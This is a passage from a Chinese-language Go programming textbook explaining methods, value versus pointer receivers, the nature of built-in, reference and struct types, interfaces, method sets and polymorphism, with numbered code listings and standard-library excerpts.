所示的程序在第 03 行声明了 Duration 类型。之后在第 06 行声明了一个类型 为 Duration 的变量 dur,并使用零值作为初值。之后,第 7 行的代码会在编译的时候产生编 译错误,如代码清单 5-10 所示。 代码清单 5-10 实际产生的编译错误 prog.go:7: cannot use int64(1000) (type int64) as type Duration in assignment 编译器很清楚这个程序的问题:类型 int64 的值不能作为类型 Duration 的值来用。换句 话说,虽然 int64 类型是基础类型,Duration 类型依然是一个独立的类型。两种不同类型的 值即便互相兼容,也不能互相赋值。编译器不会对不同类型的值做隐式转换。 5.2 方法 方法能给用户定义的类型添加新的行为。方法实际上也是函数,只是在声明时,在关键字 func 和方法名之间增加了一个参数,如代码清单 5-11 所示。 代码清单 5-11 listing11.go 01 // 这个示例程序展示如何声明 02 // 并使用方法 03 package main 04 05 import ( 06 "fmt" 07 ) 08 09 // user 在程序里定义一个用户类型 10 type user struct { 11 name string 12 email string 13 } 14 15 // notify 使用值接收者实现了一个方法 16 func (u user) notify() { 17 fmt.Printf("Sending User Email To %s<%s>\n", 18 u.name, 19 u.email) 20 } 21 22 // changeEmail 使用指针接收者实现了一个方法 23 func (u *user) changeEmail(email string) { 24 u.email = email 25 } 26 27 // main 是应用程序的入口 28 func main() { 29 // user 类型的值可以用来调用 30 // 使用值接收者声明的方法 31 bill := user{"Bill", "[email protected]"} 32 bill.notify() 33 34 // 指向 user 类型值的指针也可以用来调用 35 // 使用值接收者声明的方法 36 lisa := &user{"Lisa", "[email protected]"} 37 lisa.notify() 38 39 // user 类型的值可以用来调用 40 // 使用指针接收者声明的方法 41 bill.changeEmail("[email protected]") 42 bill.notify() 43 44 // 指向 user 类型值的指针可以用来调用 45 // 使用指针接收者声明的方法 46 lisa.changeEmail("[email protected]") 47 lisa.notify() 48 } 代码清单 5-11 的第 16 行和第 23 行展示了两种类型的方法。关键字 func 和函数名之间的 参数被称作接收者,将函数与接收者的类型绑在一起。如果一个函数有接收者,这个函数就被称 为方法。当运行这段程序时,会得到代码清单 5-12 所示的输出。 代码清单 5-12 listing11.go 的输出 Sending User Email To Bill<[email protected]> Sending User Email To Lisa<[email protected]> Sending User Email To Bill<[email protected]> Sending User Email To Lisa<[email protected]> 让我们来解释一下代码清单 5-13 所示的程序都做了什么。在第 10 行,该程序声明了名为 user 的结构类型,并声明了名为 notify 的方法。 代码清单 5-13 listing11.go:第 09 行到第 20 行 09 // user 在程序里定义一个用户类型 10 type user struct { 11 name string 12 email string 13 } 14 15 // notify 使用值接收者实现了一个方法 16 func (u user) notify() { 17 fmt.Printf("Sending User Email To %s<%s>\n", 18 u.name, 19 u.email) 20 } Go 语言里有两种类型的接收者:值接收者和指针接收者。在代码清单 5-13 的第 16 行,使 用值接收者声明了 notify 方法,如代码清单 5-14 所示。 代码清单 5-14 使用值接收者声明一个方法 func (u user) notify() { notify 方法的接收者被声明为 user 类型的值。如果使用值接收者声明方法,调用时会使 用这个值的一个副本来执行。让我们跳到代码清单 5-11 的第 32 行来看一下如何调用 notify 方 法,如代码清单 5-15 所示。 代码清单 5-15 listing11.go:第 29 行到第 32 行 29 // user 类型的值可以用来调用 30 // 使用值接收者声明的方法 31 bill := user{"Bill", "[email protected]"} 32 bill.notify() 代码清单 5-15 展示了如何使用 user 类型的值来调用方法。第 31 行声明了一个 user 类型 的变量 bill,并使用给定的名字和电子邮件地址做初始化。之后在第 32 行,使用变量 bill 来 调用 notify 方法,如代码清单 5-16 所示。 代码清单 5-16 使用变量来调用方法 bill.notify() 这个语法与调用一个包里的函数看起来很类似。但在这个例子里,bill 不是包名,而是变 量名。这段程序在调用 notify 方法时,使用 bill 的值作为接收者进行调用,方法 notify 会接收到 bill 的值的一个副本。 也可以使用指针来调用使用值接收者声明的方法,如代码清单 5-17 所示。 代码清单 5-17 listing11.go:第 34 行到第 37 行 34 // 指向 user 类型值的指针也可以用来调用 35 // 使用值接收者声明的方法 36 lisa := &user{"Lisa", "[email protected]"} 37 lisa.notify() 代码清单 5-17 展示了如何使用指向 user 类型值的指针来调用 notify 方法。在第 36 行, 声明了一个名为 lisa 的指针变量,并使用给定的名字和电子邮件地址做初始化。之后在第 37 行,使用这个指针变量来调用 notify 方法。为了支持这种方法调用,Go 语言调整了指针的值, 来符合方法接收者的定义。可以认为 Go 语言执行了代码清单 5-18 所示的操作。 代码清单 5-18 Go 在代码背后的执行动作 (*lisa).notify() 代码清单 5-18 展示了 Go 编译器为了支持这种方法调用背后做的事情。指针被解引用为值, 这样就符合了值接收者的要求。再强调一次,notify 操作的是一个副本,只不过这次操作的是 从 lisa 指针指向的值的副本。 也可以使用指针接收者声明方法,如代码清单 5-19 所示。 代码清单 5-19 listing11.go:第 22 行到第 25 行 22 // changeEmail 使用指针接收者实现了一个方法 23 func (u *user) changeEmail(email string) { 24 u.email = email 25 } 代码清单 5-19 展示了 changeEmail 方法的声明。这个方法使用指针接收者声明。这个接 收者的类型是指向 user 类型值的指针,而不是 user 类型的值。当调用使用指针接收者声明的 方法时,这个方法会共享调用方法时接收者所指向的值,如代码清单 5-20 所示。 90 第 5 章 Go 语言的类型系统 代码清单 5-20 listing11.go:第 36 行和第 44 行到第 46 行 36 lisa := &user{"Lisa", "[email protected]"} 44 // 指向 user 类型值的指针可以用来调用 45 // 使用指针接收者声明的方法 46 lisa.changeEmail("[email protected]") 在代码清单 5-20 中,可以看到声明了 lisa 指针变量,还有第 46 行使用这个变量调用了 changeEmail 方法。一旦 changeEmail 调用返回,这个调用对值做的修改也会反映在 lisa 指针所指向的值上。这是因为 changeEmail 方法使用了指针接收者。总结一下,值接收者使用 值的副本来调用方法,而指针接受者使用实际值来调用方法。 也可以使用一个值来调用使用指针接收者声明的方法,如代码清单 5-21 所示。 代码清单 5-21 listing11.go:第 31 行和第 39 行到第 41 行 31 bill := user{"Bill", "[email protected]"} 39 // user 类型的值可以用来调用 40 // 使用指针接收者声明的方法 41 bill.changeEmail("[email protected]") 在代码清单 5-21 中可以看到声明的变量 bill,以及之后使用这个变量调用使用指针接收者 声明的 changeEmail 方法。Go 语言再一次对值做了调整,使之符合函数的接收者,进行调用, 如代码清单 5-22 所示。 代码清单 5-22 Go 在代码背后的执行动作 (&bill).changeEmail ("[email protected]") 代码清单 5-22 展示了 Go 编译器为了支持这种方法调用在背后做的事情。在这个例子里,首 先引用 bill 值得到一个指针,这样这个指针就能够匹配方法的接收者类型,再进行调用。Go 语言既允许使用值,也允许使用指针来调用方法,不必严格符合接收者的类型。这个支持非常方 便开发者编写程序。 应该使用值接收者,还是应该使用指针接收者,这个问题有时会比较迷惑人。可以遵从标准 库里一些基本的指导方针来做决定。后面会进一步介绍这些指导方针。 5.3 类型的本质 在声明一个新类型之后,声明一个该类型的方法之前,需要先回答一个问题:这个类型的本 质是什么。如果给这个类型增加或者删除某个值,是要创建一个新值,还是要更改当前的值?如 果是要创建一个新值,该类型的方法就使用值接收者。如果是要修改当前值,就使用指针接收者。 这个答案也会影响程序内部传递这个类型的值的方式:是按值做传递,还是按指针做传递。保持 传递的一致性很重要。这个背后的原则是,不要只关注某个方法是如何处理这个值,而是要关注 这个值的本质是什么。 5.3.1 内置类型 内置类型是由语言提供的一组类型。我们已经见过这些类型,分别是数值类型、字符串类型 和布尔类型。这些类型本质上是原始的类型。因此,当对这些值进行增加或者删除的时候,会创 建一个新值。基于这个结论,当把这些类型的值传递给方法或者函数时,应该传递一个对应值的 副本。让我们看一下标准库里使用这些内置类型的值的函数,如代码清单 5-23 所示。 代码清单 5-23 golang.org/src/strings/strings.go:第 620 行到第 625 行 620 func Trim(s string, cutset string) string { 621 if s == "" || cutset == "" { 622 return s 623 } 624 return TrimFunc(s, makeCutsetFunc(cutset)) 625 } 在代码清单 5-23 中,可以看到标准库里 strings 包的 Trim 函数。Trim 函数传入一个 string 类型的值作操作,再传入一个 string 类型的值用于查找。之后函数会返回一个新的 string 值作为操作结果。这个函数对调用者原始的 string 值的一个副本做操作,并返回一个 新的 string 值的副本。字符串(string)就像整数、浮点数和布尔值一样,本质上是一种很原 始的数据值,所以在函数或方法内外传递时,要传递字符串的一份副本。 让我们看一下体现内置类型具有的原始本质的第二个例子,如代码清单 5-24 所示。 代码清单 5-24 golang.org/src/os/env.go:第 38 行到第 44 行 38 func isShellSpecialVar(c uint8) bool { 39 switch c { 40 case '*', '#', '$', '@', '!', '?', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9': 41 return true 42 } 43 return false 44 } 代码清单 5-24 展示了 env 包里的 isShellSpecialVar 函数。这个函数传入了一个 int8 类型的值,并返回一个 bool 类型的值。注意,这里的参数没有使用指针来共享参数的值或者返 回值。调用者传入了一个 uint8 值的副本,并接受一个返回值 true 或者 false。 5.3.2 引用类型 Go 语言里的引用类型有如下几个:切片、映射、通道、接口和函数类型。当声明上述类型 的变量时,创建的变量被称作标头(header)值。从技术细节上说,字符串也是一种引用类型。 每个引用类型创建的标头值是包含一个指向底层数据结构的指针。每个引用类型还包含一组独特 的字段,用于管理底层数据结构。因为标头值是为复制而设计的,所以永远不需要共享一个引用 类型的值。标头值里包含一个指针,因此通过复制来传递一个引用类型的值的副本,本质上就是 在共享底层数据结构。 让我们看一下 net 包里的类型,如代码清单 5-25 所示。 代码清单 5-25 golang.org/src/net/ip.go:第 32 行 32 type IP []byte 代码清单 5-25 展示了一个名为 IP 的类型,这个类型被声明为字节切片。当要围绕相关的内 置类型或者引用类型来声明用户定义的行为时,直接基于已有类型来声明用户定义的类型会很好 用。编译器只允许为命名的用户定义的类型声明方法,如代码清单 5-26 所示。 代码清单 5-26 golang.org/src/net/ip.go:第 329 行到第 337 行 329 func (ip IP) MarshalText() ([]byte, error) { 330 if len(ip) == 0 { 331 return []byte(""), nil 332 } 333 if len(ip) != IPv4len && len(ip) != IPv6len { 334 return nil, errors.New("invalid IP address") 335 } 336 return []byte(ip.String()), nil 337 } 代码清单 5-26 里定义的 MarshalText 方法是用 IP 类型的值接收者声明的。一个值接收者, 正像预期的那样通过复制来传递引用,从而不需要通过指针来共享引用类型的值。这种传递方法 也可以应用到函数或者方法的参数传递,如代码清单 5-27 所示。 代码清单 5-27 golang.org/src/net/ip.go:第 318 行到第 325 行 318 // ipEmptyString 像 ip.String 一样, 319 // 只不过在没有设置 ip 时会返回一个空字符串 320 func ipEmptyString(ip IP) string { 321 if len(ip) == 0 { 322 return "" 323 } 324 return ip.String() 325 } 在代码清单 5-27 里,有一个 ipEmptyString 函数。这个函数需要传入一个 IP 类型的值。 再一次,你可以看到调用者传入的是这个引用类型的值,而不是通过引用共享给这个函数。调用 者将引用类型的值的副本传入这个函数。这种方法也适用于函数的返回值。最后要说的是,引用 类型的值在其他方面像原始的数据类型的值一样对待。 5.3.3 结构类型 结构类型可以用来描述一组数据值,这组值的本质即可以是原始的,也可以是非原始的。如 果决定在某些东西需要删除或者添加某个结构类型的值时该结构类型的值不应该被更改,那么需 要遵守之前提到的内置类型和引用类型的规范。让我们从标准库里的一个原始本质的类型的结构 实现开始,如代码清单 5-28 所示。 代码清单 5-28 golang.org/src/time/time.go:第 39 行到第 55 行 39 type Time struct { 40 // sec 给出自公元 1 年 1 月 1 日 00:00:00 41 // 开始的秒数 42 sec int64 43 44 // nsec 指定了一秒内的纳秒偏移, 45 // 这个值是非零值, 46 // 必须在[0, 999999999]范围内 47 nsec int32 48 49 // loc 指定了一个 Location, 50 // 用于决定该时间对应的当地的分、小时、 51 // 天和年的值 52 // 只有 Time 的零值,其 loc 的值是 nil 53 // 这种情况下,认为处于 UTC 时区 54 loc *Location 55 } 代码清单 5-28 中的 Time 结构选自 time 包。当思考时间的值时,你应该意识到给定的一个 时间点的时间是不能修改的。所以标准库里也是这样实现 Time 类型的。让我们看一下 Now 函 数是如何创建 Time 类型的值的,如代码清单 5-29 所示。 代码清单 5-29 golang.org/src/time/time.go:第 781 行到第 784 行 781 func Now() Time { 782 sec, nsec := now() 783 return Time{sec + unixToInternal, nsec, Local} 784 } 代码清单 5-29 中的代码展示了 Now 函数的实现。这个函数创建了一个 Time 类型的值,并 给调用者返回了 Time 值的副本。这个函数没有使用指针来共享 Time 值。之后,让我们来看一 个 Time 类型的方法,如代码清单 5-30 所示。 代码清单 5-30 golang.org/src/time/time.go:第 610 行到第 622 行 610 func (t Time) Add(d Duration) Time { 611 t.sec += int64(d / 1e9) 612 nsec := int32(t.nsec) + int32(d%1e9) 613 if nsec >= 1e9 { 614 t.sec++ 615 nsec -= 1e9 616 } else if nsec < 0 { 617 t.sec-- 618 nsec += 1e9 619 } 620 t.nsec = nsec 621 return t 622 } 代码清单 5-30 中的 Add 方法是展示标准库如何将 Time 类型作为本质是原始的类型的 绝佳例子。这个方法使用值接收者,并返回了一个新的 Time 值。该方法操作的是调用者 传入的 Time 值的副本,并且给调用者返回了一个方法内的 Time 值的副本。至于是使用返 回的值替换原来的 Time 值,还是创建一个新的 Time 变量来保存结果,是由调用者决定的 事情。 大多数情况下,结构类型的本质并不是原始的,而是非原始的。这种情况下,对这个类型的 值做增加或者删除的操作应该更改值本身。当需要修改值本身时,在程序中其他地方,需要使用 指针来共享这个值。让我们看一个由标准库中实现的具有非原始本质的结构类型的例子,如代码 清单 5-31 所示。 代码清单 5-31 golang.org/src/os/file_unix.go:第 15 行到第 29 行 15 // File 表示一个打开的文件描述符 16 type File struct { 17 *file 18 } 19 20 // file 是*File 的实际表示 21 // 额外的一层结构保证没有哪个 os 的客户端 22 // 能够覆盖这些数据。如果覆盖这些数据, 23 // 可能在变量终结时关闭错误的文件描述符 24 type file struct { 25 fd int 26 name string 27 dirinfo *dirInfo // 除了目录结构,此字段为 nil 28 nepipe int32 // Write 操作时遇到连续 EPIPE 的次数 29 } 可以在代码清单 5-31 里看到标准库中声明的 File 类型。这个类型的本质是非原始的。这 个类型的值实际上不能安全复制。对内部未公开的类型的注释,解释了不安全的原因。因为没有 方法阻止程序员进行复制,所以 File 类型的实现使用了一个嵌入的指针,指向一个未公开的类 型。本章后面会继续探讨内嵌类型。正是这层额外的内嵌类型阻止了复制。不是所有的结构类型 都需要或者应该实现类似的额外保护。程序员需要能识别出每个类型的本质,并使用这个本质来 决定如何组织类型。 让我们看一下 Open 函数的实现,如代码清单 5-32 所示。 代码清单 5-32 golang.org/src/os/file.go:第 238 行到第 240 行 238 func Open(name string) (file *File, err error) { 239 return OpenFile(name, O_RDONLY, 0) 240 } 代码清单 5-32 展示了 Open 函数的实现,调用者得到的是一个指向 File 类型值的指针。 Open 创建了 File 类型的值,并返回指向这个值的指针。如果一个创建用的工厂函数返回了一 个指针,就表示这个被返回的值的本质是非原始的。 即便函数或者方法没有直接改变非原始的值的状态,依旧应该使用共享的方式传递,如代码 清单 5-33 所示。 代码清单 5-33 golang.org/src/os/file.go:第 224 行到第 232 行 224 func (f *File) Chdir() error { 225 if f == nil { 226 return ErrInvalid 227 } 228 if e := syscall.Fchdir(f.fd); e != nil { 229 return &PathError{"chdir", f.name, e} 230 } 231 return nil 232 } 代码清单 5-33 中的 Chdir 方法展示了,即使没有修改接收者的值,依然是用指针接收者来 声明的。因为 File 类型的值具备非原始的本质,所以总是应该被共享,而不是被复制。 是使用值接收者还是指针接收者,不应该由该方法是否修改了接收到的值来决定。这个决策 应该基于该类型的本质。这条规则的一个例外是,需要让类型值符合某个接口的时候,即便类型 的本质是非原始本质的,也可以选择使用值接收者声明方法。这样做完全符合接口值调用方法的 机制。5.4 节会讲解什么是接口值,以及使用接口值调用方法的机制。 5.4 接口 多态是指代码可以根据类型的具体实现采取不同行为的能力。如果一个类型实现了某个接 口,所有使用这个接口的地方,都可以支持这种类型的值。标准库里有很好的例子,如 io 包里 实现的流式处理接口。io 包提供了一组构造得非常好的接口和函数,来让代码轻松支持流式数 据处理。只要实现两个接口,就能利用整个 io 包背后的所有强大能力。 不过,我们的程序在声明和实现接口时会涉及很多细节。即便实现的是已有接口,也需要了 解这些接口是如何工作的。在探究接口如何工作以及实现的细节之前,我们先来看一下使用标准 库里的接口的例子。 5.4.1 标准库 我们先来看一个示例程序,这个程序实现了流行程序 curl 的功能,如代码清单 5-34 所示。 代码清单 5-34 listing34.go 01 // 这个示例程序展示如何使用 io.Reader 和 io.Writer 接口 02 // 写一个简单版本的 curl 程序 03 package main 04 05 import ( 06 "fmt" 07 "io" 08 "net/http" 09 "os" 10 ) 11 12 // init 在 main 函数之前调用 13 func init() { 14 if len(os.Args) != 2 { 15 fmt.Println("Usage: ./example2 <url>") 16 os.Exit(-1) 17 } 18 } 19 20 // main 是应用程序的入口 21 func main() { 22 // 从 Web 服务器得到响应 23 r, err := http.Get(os.Args[1]) 24 if err != nil { 25 fmt.Println(err) 26 return 27 } 28 29 // 从 Body 复制到 Stdout 30 io.Copy(os.Stdout, r.Body) 31 if err := r.Body.Close(); err != nil { 32 fmt.Println(err) 33 } 34 } 代码清单 5-34 展示了接口的能力以及在标准库里的应用。只用了几行代码我们就通过两个 函数以及配套的接口,完成了 curl 程序。在第 23 行,调用了 http 包的 Get 函数。在与服务器 成功通信后,http.Get 函数会返回一个 http.Response 类型的指针。http.Response 类 型包含一个名为 Body 的字段,这个字段是一个 io.ReadCloser 接口类型的值。 在第 30 行,Body 字段作为第二个参数传给 io.Copy 函数。io.Copy 函数的第二个参数, 接受一个 io.Reader 接口类型的值,这个值表示数据流入的源。Body 字段实现了 io.Reader 接口,因此我们可以将 Body 字段传入 io.Copy,使用 Web 服务器的返回内容作为源。 io.Copy 的第一个参数是复制到的目标,这个参数必须是一个实现了 io.Writer 接口的 值。对于这个目标,我们传入了 os 包里的一个特殊值 Stdout。这个接口值表示标准输出设备, 并且已经实现了 io.Writer 接口。当我们将 Body 和 Stdout 这两个值传给 io.Copy 函数后, 这个函数会把服务器的数据分成小段,源源不断地传给终端窗口,直到最后一个片段读取并写入 终端,io.Copy 函数才返回。 io.Copy 函数可以以这种工作流的方式处理很多标准库里已有的类型,如代码清单 5-35 所示。 代码清单 5-35 listing35.go 01 // 这个示例程序展示 bytes.Buffer 也可以 02 // 用于 io.Copy 函数 03 package main 04 05 import ( 06 "bytes" 07 "fmt" 08 "io" 09 "os" 10 ) 11 12 // main 是应用程序的入口 13 func main() { 14 var b bytes.Buffer 15 16 // 将字符串写入 Buffer 17 b.Write([]byte("Hello")) 18 19 // 使用 Fprintf 将字符串拼接到 Buffer 20 fmt.Fprintf(&b, "World!") 21 22 // 将 Buffer 的内容写到 Stdout 23 io.Copy(os.Stdout, &b) 24 } 代码清单 5-35 展示了一个程序,这个程序使用接口来拼接字符串,并将数据以流的方式输 出到标准输出设备。在第 14 行,创建了一个 bytes 包里的 Buffer 类型的变量 b,用于缓冲数 据。之后在第 17 行使用 Write 方法将字符串 Hello 写入这个缓冲区 b。第 20 行,调用 fmt 包里的 Fprintf 函数,将第二个字符串追加到缓冲区 b 里。 fmt.Fprintf 函数接受一个 io.Writer 类型的接口值作为其第一个参数。由于 bytes.Buffer 类型的指针实现了 io.Writer 接口,所以可以将缓存 b 传入 fmt.Fprintf 函数,并执行追加操作。最后,在第 23 行,再次使用 io.Copy 函数,将字符写到终端窗口。 由于 bytes.Buffer 类型的指针也实现了 io.Reader 接口,io.Copy 函数可以用于在终端窗 口显示缓冲区 b 的内容。 希望这两个小程序展示出接口的好处,以及标准库内部是如何使用接口的。下一步,让我们 看一下实现接口的细节。 5.4.2 实现 接口是用来定义行为的类型。这些被定义的行为不由接口直接实现,而是通过方法由用户 定义的类型实现。如果用户定义的类型实现了某个接口类型声明的一组方法,那么这个用户定 义的类型的值就可以赋给这个接口类型的值。这个赋值会把用户定义的类型的值存入接口类型 的值。 对接口值方法的调用会执行接口值里存储的用户定义的类型的值对应的方法。因为任何用户 定义的类型都可以实现任何接口,所以对接口值方法的调用自然就是一种多态。在这个关系里, 用户定义的类型通常叫作实体类型,原因是如果离开内部存储的用户定义的类型的值的实现,接 口值并没有具体的行为。 并不是所有值都完全等同,用户定义的类型的值或者指针要满足接口的实现,需要遵守一些 规则。这些规则在 5.4.3 节介绍方法集时有详细说明。探寻方法集的细节之前,了解接口类型值 大概的形式以及用户定义的类型的值是如何存入接口的,会有很多帮助。 图 5-1 展示了在 user 类型值赋值后接口变量的值的内部布局。接口值是一个两个字长度 的数据结构,第一个字包含一个指向内部表的指针。这个内部表叫作 iTable,包含了所存储的 值的类型信息。iTable 包含了已存储的值的类型信息以及与这个值相关联的一组方法。第二个 字是一个指向所存储值的指针。将类型信息和指针组合在一起,就将这两个值组成了一种特殊 的关系。 图 5-1 实体值赋值后接口值的简图 图 5-2 展示了一个指针赋值给接口之后发生的变化。在这种情况里,类型信息会存储一个指 向保存的类型的指针,而接口值第二个字依旧保存指向实体值的指针。 图 5-2 实体指针赋值后接口值的简图 5.4.3 方法集 方法集定义了接口的接受规则。看一下代码清单 5-36 所示的代码,有助于理解方法集在接 口中的重要角色。 代码清单 5-36 listing36.go 01 // 这个示例程序展示 Go 语言里如何使用接口 02 package main 03 04 import ( 05 "fmt" 06 ) 07 08 // notifier 是一个定义了 09 // 通知类行为的接口 10 type notifier interface { 11 notify() 12 } 13 14 // user 在程序里定义一个用户类型 15 type user struct { 16 name string 17 email string 18 } 19 20 // notify 是使用指针接收者实现的方法 21 func (u *user) notify() { 22 fmt.Printf("Sending user email to %s<%s>\n", 23 u.name, 24 u.email) 25 } 26 27 // main 是应用程序的入口 28 func main() { 29 // 创建一个 user 类型的值,并发送通知 30 u := user{"Bill", "[email protected]"} 31 32 sendNotification(u) 33 34 // ./listing36.go:32: 不能将 u(类型是 user)作为 35 // sendNotification 的参数类型 notifier: 36 // user 类型并没有实现 notifier 37 // (notify 方法使用指针接收者声明) 38 } 39 40 // sendNotification 接受一个实现了 notifier 接口的值 41 // 并发送通知 42 func sendNotification(n notifier) { 43 n.notify() 44 } 代码清单 5-36 中的程序虽然看起来没问题,但实际上却无法通过编译。在第 10 行中,声明 了一个名为 notifier 的接口,包含一个名为 notify 的方法。第 15 行中,声明了名为 user 的实体类型,并通过第 21 行中的方法声明实现了 notifier 接口。这个方法是使用 user 类型 的指针接收者实现的。 代码清单 5-37 listing36.go:第 40 行到第 44 行 40 // sendNotification 接受一个实现了 notifier 接口的值 41 // 并发送通知 42 func sendNotification(n notifier) { 43 n.notify() 44 } 在代码清单 5-37 的第 42 行,声明了一个名为 sendNotification 的函数。这个函数接收 一个 notifier 接口类型的值。之后,使用这个接口值来调用 notify 方法。任何一个实现了 notifier 接口的值都可以传入 sendNotification 函数。现在让我们来看一下 main 函数, 如代码清单 5-38 所示。 代码清单 5-38 listing36.go:第 28 行到第 38 行 28 func main() { 29 // 创建一个 user 类型的值,并发送通知 30 u := user{"Bill", "[email protected]"} 31 32 sendNotification(u) 33 34 // ./listing36.go:32: 不能将 u(类型是 user)作为 35 // sendNotification 的参数类型 notifier: 36 // user 类型并没有实现 notifier 37 // (notify 方法使用指针接收者声明) 38 } 在 main 函数里,代码清单 5-38 的第 30 行,创建了一个 user 实体类型的值,并将其赋值给变 量 u。之后在第 32 行将 u 的值传入 sendNotification 函数。不过,调用 sendNotification 的结果是产生了一个编译错误,如代码清单 5-39 所示。 代码清单 5-39 将 user 类型的值存入接口值时产生的编译错误 ./listing36.go:32: 不能将 u(类型是 user)作为 sendNotification 的参数类型 notifier: user 类型并没有实现 notifier(notify 方法使用指针接收者声明) 既然 user 类型已经在第 21 行实现了 notify 方法,为什么这里还是产生了编译错误呢? 让我们再来看一下那段代码,如代码清单 5-40 所示。 代码清单 5-40 listing36.go:第 08 行到第 12 行,第 21 行到第 25 行 08 // notifier 是一个定义了 09 // 通知类行为的接口 10 type notifier interface { 11 notify() 12 } 21 func (u *user) notify() { 22 fmt.Printf("Sending user email to %s<%s>\n", 23 u.name, 24 u.email) 25 } 代码清单 5-40 展示了接口是如何实现的,而编译器告诉我们 user 类型的值并没有实现这 个接口。如果仔细看一下编译器输出的消息,其实编译器已经说明了原因,如代码清单 5-41 所示。 代码清单 5-41 进一步查看编译器错误 (notify method has pointer receiver) 要了解用指针接收者来实现接口时为什么 user 类型的值无法实现该接口,需要先了解方法 集。方法集定义了一组关联到给定类型的值或者指针的方法。定义方法时使用的接收者的类型决 定了这个方法是关联到值,还是关联到指针,还是两个都关联。 让我们先解释一下 Go 语言规范里定义的方法集的规则,如代码清单 5-42 所示。 代码清单 5-42 规范里描述的方法集 Values Methods Receivers ----------------------------------------------- T (t T) *T (t T) and (t *T) 代码清单 5-42 展示了规范里对方法集的描述。描述中说到,T 类型的值的方法集只包含值 接收者声明的方法。而指向 T 类型的指针的方法集既包含值接收者声明的方法,也包含指针接收 者声明的方法。从值的角度看这些规则,会显得很复杂。让我们从接收者的角度来看一下这些规 则,如代码清单 5-43 所示。 代码清单 5-43 从接收者类型的角度来看方法集 Methods Receivers Values ----------------------------------------------- (t T) T and *T (t *T) *T 代码清单 5-43 展示了同样的规则,只不过换成了接收者的视角。这个规则说,如果使用指 针接收者来实现一个接口,那么只有指向那个类型的指针才能够实现对应的接口。如果使用值 接收者来实现一个接口,那么那个类型的值和指针都能够实现对应的接口。现在再看一下代码 清单 5-36 所示的代码,就能理解出现编译错误的原因了,如代码清单 5-44 所示。 代码清单 5-44 listing36.go:第 28 行到第 38 行 28 func main() { 29 // 使用 user 类型创建一个值,并发送通知 30 u := user{"Bill", "[email protected]"} 31 32 sendNotification(u) 33 34 // ./listing36.go:32: 不能将 u(类型是 user)作为 35 // sendNotification 的参数类型 notifier: 36 // user 类型并没有实现 notifier 37 // (notify 方法使用指针接收者声明) 38 } 我们使用指针接收者实现了接口,但是试图将 user 类型的值传给 sendNotification 方 法。代码清单 5-44 的第 30 行和第 32 行清晰地展示了这个问题。但是,如果传递的是 user 值 的地址,整个程序就能通过编译,并且能够工作了,如代码清单 5-45 所示。 代码清单 5-45 listing36.go:第 28 行到第 35 行 28 func main() { 29 // 使用 user 类型创建一个值,并发送通知 30 u := user{"Bill", "[email protected]"} 31 32 sendNotification(&u) 33 34 // 传入地址,不再有错误 35 } 在代码清单 5-45 里,这个程序终于可以编译并且运行。因为使用指针接收者实现的接口, 只有 user 类型的指针可以传给 sendNotification 函数。 现在的问题是,为什么会有这种限制?事实上,编译器并不是总能自动获得一个值的地址, 如代码清单 5-46 所示。 代码清单 5-46 listing46.go 01 // 这个示例程序展示不是总能 02 // 获取值的地址 03 package main 04 05 import "fmt" 06 07 // duration 是一个基于 int 类型的类型 08 type duration int 09 10 // 使用更可读的方式格式化 duration 值 11 func (d *duration) pretty() string { 12 return fmt.Sprintf("Duration: %d", *d) 13 } 14 15 // main 是应用程序的入口 16 func main() { 17 duration(42).pretty() 18 19 // ./listing46.go:17: 不能通过指针调用 duration(42)的方法 20 // ./listing46.go:17: 不能获取 duration(42)的地址 21 } 代码清单 5-46 所示的代码试图获取 duration 类型的值的地址,但是获取不到。这展示了不能 总是获得值的地址的一种情况。让我们再看一下方法集的规则,如代码清单 5-47 所示。 代码清单 5-47 再看一下方法集的规则 Values Methods Receivers ----------------------------------------------- T (t T) *T (t T) and (t *T) Methods Receivers Values ----------------------------------------------- (t T) T and *T (t *T) *T 因为不是总能获取一个值的地址,所以值的方法集只包括了使用值接收者实现的方法。 5.4.4 多态 现在了解了接口和方法集背后的机制,最后来看一个展示接口的多态行为的例子,如代码清 单 5-48 所示。 代码清单 5-48 listing48.go 01 // 这个示例程序使用接口展示多态行为 02 package main 03 04 import ( 05 "fmt" 06 ) 07 08 // notifier 是一个定义了 09 // 通知类行为的接口 10 type notifier interface { 11 notify() 12 } 13 14 // user 在程序里定义一个用户类型 15 type user struct { 16 name string 17 email string 18 } 19 20 // notify 使用指针接收者实现了 notifier 接口 21 func (u *user) notify() { 22 fmt.Printf("Sending user email to %s<%s>\n", 23 u.name, 24 u.email) 25 } 26 27 // admin 定义了程序里的管理员 28 type admin struct { 29 name string 30 email string 31 } 32 33 // notify 使用指针接收者实现了 notifier 接口 34 func (a *admin) notify() { 35 fmt.Printf("Sending admin email to %s<%s>\n", 36 a.name, 37 a.email) 38 } 39 40 // main 是应用程序的入口 41 func main() { 42 // 创建一个 user 值并传给 sendNotification 43 bill := user{"Bill", "[email protected]"} 44 sendNotification(&bill) 45 46 // 创建一个 admin 值并传给 sendNotification 47 lisa := admin{"Lisa", "[email protected]"} 48 sendNotification(&lisa) 49 } 50 51 // sendNotification 接受一个实现了 notifier 接口的值 52 // 并发送通知 53 func sendNotification(n notifier) { 54 n.notify() 55 } 在代码清单 5-48 中,我们有了一个展示接口的多态行为的例子。在第 10 行,我们声明了和 之前代码清单中一样的 notifier 接口。之后第 15 行到第 25 行,我们声明了一个名为 user 的结构,并使用指针接收者实现了 notifier 接口。在第 28 行到第 38 行,我们声明了一个名 为 admin 的结构,用同样的形式实现了 notifier 接口。现在,有两个实体类型实现了 notifier 接口。 在第 53 行中,我们再次声明了多态函数 sendNotification,这个函数接受一个实现了 notifier 接口的值作为参数。既然任意一个实体类型都能实现该接口,那么这个函数可以针 对任意实体类型的值来执行 notifier 方法。因此,这个函数就能提供多态的行为,如代码清 单 5-49 所示。 代码清单 5-49 listing48.go:第 40 行到第 49 行 40 // main 是应用程序的入口 41 func main() { 42 // 创建一个 user 值并传给 sendNotification 43 bill := user{"Bill", "[email protected]"} 44 sendNotification(&bill) 45 46 // 创建一个 admin 值并传给 sendNotification 47 lisa := admin{"Lisa", "[email protected]"} 48 sendNotification(&lisa) 49 } 最后,可以在代码清单 5-49 中看到这种多态的行为。main 函数的第 43 行创建了一个 user 类型的值,并在第 44 行将该值的地址传给了 sendNotification 函数。这最终会导致执行 user 类型声明的 notify 方法。之后,在第 47 行和第 48 行,我们对 admin 类型的值做了同样的事 情。最终,因为 sendNotification 接受 notifier 类型的接口值,所以这个函数可以同时 执行 user 和 admin 实现的行为。 5.5 嵌入类型 Go 